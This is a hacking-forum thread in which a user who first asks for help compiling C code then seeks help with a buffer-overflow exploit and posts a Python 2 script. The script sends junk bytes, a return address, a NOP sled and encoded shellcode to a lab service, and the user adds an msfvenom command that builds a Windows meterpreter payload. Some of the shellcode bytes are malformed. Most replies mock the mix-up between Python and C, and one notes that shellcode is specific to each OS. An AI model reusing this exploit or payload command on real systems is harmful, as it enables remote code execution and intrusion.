

Forum:[Hack Forums](#)

Thread: [Help compiling C code?](#)

ernestmiller - September 30, 2019, 2:46 am

Can someone help me to compile some C code into a .exe im getting loads of errors trying to do it in visual studio some help would be much appreciated

YouthInAsia - September 30, 2019, 5:44 am

What errors are you getting? Where's your code? Did you install the C compiler with Visual Studio?

ernestmiller - September 30, 2019, 5:55 am

Yup i have done all of that can I send you the code I am trying to compile

YouthInAsia - September 30, 2019, 6:34 am

(Sep 30, 2019 05:55 AM)ernestmiller Wrote: [\[CITE\]](#) Yup i have done all of that can I send you the code I am trying to compile
....Then why don't you?

ernestmiller - September 30, 2019, 6:48 am

It keeps throwing up loads of errors when i try to

YouthInAsia - September 30, 2019, 7:19 am

(Sep 30, 2019 06:48 AM)ernestmiller Wrote: [\[CITE\]](#) It keeps throwing up loads of errors when i try to
I mean WHY DON'T YOU SHOW THE CODE BECAUSE HOW ELSE IS ANYONE SOUPPOSED TO KNOW WHY THE FUCK YOU ARE GETTING COMPILERS ERRORS HOLY FUCKING SHIT

ernestmiller - September 30, 2019, 7:22 am

Oh i see well i just messaged you the code

I have managed to compile it now and have it running in immunity however if you would like to help me write a exploit for it that would be great

YouthInAsia - September 30, 2019, 8:55 am

(Sep 30, 2019 07:22 AM)ernestmiller Wrote: [\[CITE\]](#) Oh i see well i just messaged you the code

I have managed to compile it now and have it running in immunity however if you would like to help me write a exploit for it that would be great
That's a negative ghost rider

incognito04 - September 30, 2019, 2:18 pm

Has the problem been resolved

ernestmiller - September 30, 2019, 2:21 pm

Nope although i think im getting closer have found the vulnerable function and got mona.py working with immunity any help writing the exploit however would be greatly appreciated i have source code and was provided a template for it

myselfandi - October 1, 2019, 10:51 am

Send the code i'll take look into it

ernestmiller - October 1, 2019, 11:34 am

I popped calc.exe and am going for a shell as well a reverse meterpreter back to the host the code worked fine against the Windows 7 vm.

However in kali running it in my lab against the target i get errors..

```
#!/usr/bin/env python2
import socket
```

```
ServiceManagerIP = " 10.185.10.55"
ServiceManagerPort = 42424
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ServiceManagerIP, ServiceManagerPort))
```

```
payload = "\xc3"*146 #Junk Bytes
#77E9F7DF
```

```
payload += "\xDF\xF7\xE9\x77" + "\x90" *16
```

#Shellcode to be executed by application

```
payload += ("\\xb\\xf\\xc\\xa\\xb3\\x38\\x83\\xd9\\xcd\\xd9\\x74\\x24\\xf4\\x5d\\x33\\xc9\\xb1"
"\x56\\x83\\xc5\\x04\\x31\\x7d\\x0f\\x03\\x7d\\xc5\\x51\\xcd\\x7f\\x31\\x17"
"\x2e\\x80\\xc1\\x78\\xa6\\x65\\xf0\\xb8\\xdc\\xee\\xa2\\x08\\x96\\xa3\\x4e"
"\xe2\\xfa\\x57\\xc5\\x86\\xd2\\x58\\x6e\\x2c\\x05\\x56\\x6f\\x1d\\x75\\xf9"
"\xf3\\x5c\\xaa\\xd9\\xc\\xae\\xb\\xf\\x18\\x0b\\xd2\\x32\\x48\\xc4\\x98\\xe1"
"\x7d\\x61\\xd4\\x39\\xf5\\x39\\xf8\\x39\\xea\\x89\\xfb\\x68\\xbd\\x82\\xa5"
"\xaa\\x3f\\x47\\xde\\xe2\\x27\\x84\\xdb\\xbd\\xdc\\x7e\\x97\\x3f\\x35\\x4f"
"\x58\\x93\\x78\\x60\\xab\\xed\\xbd\\x46\\x54\\x98\\xb7\\xb5\\xe9\\x9b\\x03"
"\xc4\\x35\\x29\\x90\\x6e\\xbd\\x89\\x7c\\x8f\\x12\\x4f\\xf6\\x83\\xdf\\x1b"
"\x50\\x87\\xde\\xc8\\xea\\xb3\\x6b\\xef\\x3c\\x32\\x2f\\xd4\\x98\\x1f\\xeb"
"\x75\\xb8\\xc5\\x5a\\x89\\xda\\xa6\\x03\\x2f\\x90\\x4a\\x57\\x42\\xfb\\x02"
"\x94\\x6f\\x04\\xd2\\xb2\\xf8\\x77\\xe0\\x1d\\x53\\x10\\x48\\xd5\\x7d\\xe7"
"\xd9\\xf1\\x7d\\x37\\x61\\x91\\x83\\xb8\\x91\\xbb\\x47\\xec\\xc1\\xd3\\x6e"
"\x8d\\x8a\\x23\\x8e\\x58\\x26\\x2e\\x18\\xa3\\x1e\\x41\\x59\\x4b\\x5c\\x9e"
"\x47\\xed\\xe9\\x78\\x27\\xbd\\xb9\\xd4\\x88\\x6d\\x79\\x85\\x60\\x64\\x76"
"\xfa\\x91\\x87\\x5d\\x93\\x38\\x68\\x0b\\xcb\\xd4\\x11\\x16\\x87\\x45\\xdd"
"\x8d\\xed\\x46\\x55\\x27\\x11\\x08\\x9e\\x42\\x01\\x7d\\xf9\\xac\\xd9\\x7e"
"\x6c\\xac\\xb3\\x7a\\x26\\xfb\\x2b\\x81\\x1f\\xcb\\xf3\\x7a\\x4a\\x48\\xf3"
"\x85\\x0b\\x78\\x8f\\xb0\\x99\\xc4\\xe7\\xbc\\x4d\\xc4\\xf7\\xea\\x07\\xc4"
"\x9f\\x4a\\x7c\\x97\\xba\\x94\\xa9\\x84\\x16\\x01\\x52\\xfc\\xcb\\x82\\x3a"
"\x02\\x35\\xe4\\xe4\\xfd\\x10\\x76\\xe2\\x01\\xe6\\x51\\x4b\\x69\\x18\\xe2"
"\x6b\\x69\\x72\\xe2\\x3b\\x01\\x89\\xcd\\xb4\\xe1\\x72\\xc4\\x9c\\x69\\xf8"
"\x89\\x6f\\x08\\xfd\\x83\\x2e\\x94\\xfe\\x20\\xeb\\x27\\x84\\x49\\x0c\\xc8"
"\x79\\x40\\x69\\xc9\\x79\\x6c\\x8f\\xf6\\xaf\\x55\\xe5\\x39\\x6c\\xe2\\xf6"
"\x0c\\xd1\\x43\\x9d\\x6e\\x45\\x93\\xb4")
```

```
s.send(payload+"\r\n")
data = s.recv(len(msg))
s.recv(1024)
s.close()
```

print data
Latest modified exploit.....

```
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST= 172.16.40.5 LPORT=7777 -f c -a x86  
--platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
```

YouthInAsia - October 1, 2019, 5:53 pm

(Oct 1, 2019 11:34 AM)ernestmiller Wrote: [CITE](#) I popped calc.exe and am going for a shell as well a reverse meterpreter back to the host the code worked fine against the Windows 7 vm.

However in kali running it in my lab against the target i get errors..

```
#!/usr/bin/env python2  
import socket
```

```
ServiceManagerIP = " 10.185.10.55"  
ServiceManagerPort = 42424
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((ServiceManagerIP, ServiceManagerPort))
```

```
payload = "\xc3"*146 #Junk Bytes  
#77E9F7DF
```

```
payload += "\xDF\xF7\xE9\x77" + "\x90" *16
```

#Shellcode to be executed by application

```
payload += ("\\xbf\\xca\\xb3\\x38\\x83\\xd9\\xcd\\xd9\\x74\\x24\\xf4\\x5d\\x33\\xc9\\xb1"  
"\\x56\\x83\\xc5\\x04\\x31\\x7d\\x0f\\x03\\x7d\\xc5\\x51\\xcd\\x7f\\x31\\x17"  
"\\x2e\\x80\\xc1\\x78\\xa6\\x65\\xf0\\xb8\\xdc\\xee\\xa2\\x08\\x96\\xa3\\x4e"  
"\\xe2\\xfa\\x57\\xc5\\x86\\xd2\\x58\\x6e\\x2c\\x05\\x56\\x6f\\x1d\\x75\\xf9"  
"\\xf3\\x5c\\xaa\\xd9\\xca\\xae\\xbf\\x18\\x0b\\xd2\\x32\\x48\\xc4\\x98\\xe1"  
"\\x7d\\x61\\xd4\\x39\\xf5\\x39\\xf8\\x39\\xea\\x89\\xfb\\x68\\xbd\\x82\\xa5"  
"\\xaa\\x3f\\x47\\xde\\xe2\\x27\\x84\\xdb\\xbd\\xdc\\x7e\\x97\\x3f\\x35\\x4f"  
"\\x58\\x93\\x78\\x60\\xab\\xed\\xbd\\x46\\x54\\x98\\xb7\\xb5\\xe9\\x9b\\x03"  
"\\xc4\\x35\\x29\\x90\\x6e\\xbd\\x89\\x7c\\x8f\\x12\\x4f\\xf6\\x83\\xdf\\x1b"  
"\\x50\\x87\\xde\\xc8\\xea\\xb3\\x6b\\xef\\x3c\\x32\\x2f\\xd4\\x98\\x1f\\xeb"  
"\\x75\\xb8\\xc5\\x5a\\x89\\xda\\xa6\\x03\\x2f\\x90\\x4a\\x57\\x42\\xfb\\x02"  
"\\x94\\x6f\\x04\\xd2\\xb2\\xf8\\x77\\xe0\\x1d\\x53\\x10\\x48\\xd5\\x7d\\xe7"  
"\\xd9\\xf1\\x7d\\x37\\x61\\x91\\x83\\xb8\\x91\\xbb\\x47\\xec\\xc1\\xd3\\x6e"  
"\\x8d\\x8a\\x23\\x8e\\x58\\x26\\x2e\\x18\\xa3\\x1e\\x41\\x59\\x4b\\x5c\\x9e"  
"\\x47\\xed\\xe9\\x78\\x27\\xbd\\xb9\\xd4\\x88\\x6d\\x79\\x85\\x60\\x64\\x76"  
"\\xfa\\x91\\x87\\x5d\\x93\\x38\\x68\\x0b\\xcb\\xd4\\x11\\x16\\x87\\x45\\xdd"  
"\\x8d\\xed\\x46\\x55\\x27\\x11\\x08\\x9e\\x42\\x01\\x7d\\xf9\\xac\\xd9\\x7e"  
"\\x6c\\xac\\xb3\\x7a\\x26\\xfb\\x2b\\x81\\x1f\\xcb\\xf3\\x7a\\x4a\\x48\\xf3"  
"\\x85\\x0b\\x78\\x8f\\xb0\\x99\\xc4\\xe7\\xbc\\x4d\\xc4\\xf7\\xea\\x07\\xc4"  
"\\x9f\\x4a\\x7c\\x97\\xba\\x94\\xa9\\x84\\x16\\x01\\x52\\xfc\\xcb\\x82\\x3a"  
"\\x02\\x35\\xe4\\xe4\\xfd\\x10\\x76\\xe2\\x01\\xe6\\x51\\x4b\\x69\\x18\\xe2"  
"\\x6b\\x69\\x72\\xe2\\x3b\\x01\\x89\\xcd\\xb4\\xe1\\x72\\xc4\\x9c\\x69\\xf8"  
"\\x89\\x6f\\x08\\xfd\\x83\\x2e\\x94\\xfe\\x20\\xeb\\x27\\x84\\x49\\x0c\\xc8"  
"\\x79\\x40\\x69\\xc9\\x79\\x6c\\x8f\\xf6\\xaf\\x55\\xe5\\x39\\x6c\\xe2\\xf6")
```

```
"\x0c\xd1\x43\x9d\x6e\x45\x93\xb4")
```

```
s.send(payload+"\r\n")
data = s.recv(len(msg))
s.recv(1024)
s.close()
print data
Latest modified exploit.....
```

```
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST= 172.16.40.5 LPORT=7777 -f c -a x86
--platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
That is not C code...in case you didn't realise
```

HFDone - October 2, 2019, 1:42 am

its python not c and you need to change the msfvenom platform to linux if you want to test it with kali

Meterpreter - October 2, 2019, 1:46 am

```
"#!/usr/bin/env python2" == python2
```

```
"msfvenom -p windows/x64/meterpreter/bind_tcp" == Windows 64bit TCP Meterpreter
```

Number23 - October 3, 2019, 7:07 pm

mhmmm I think the is python.

ernestmiller - October 4, 2019, 7:30 am

I know that that sorry this is the exploit code the application itself is written in C I wanted to know was why my payload works when testing the application in Immunity I can get a reverse shell from windows 7 vm to kali vm however when i try and test it in linux i cannot any kind of shell back

stderr - October 11, 2019, 8:29 pm

different OS' require different shellcode, different versions of an OS require different shellcode. If there's an issue in C, post the C code.

ArviX - October 14, 2019, 10:37 am

You can compile with gcc bro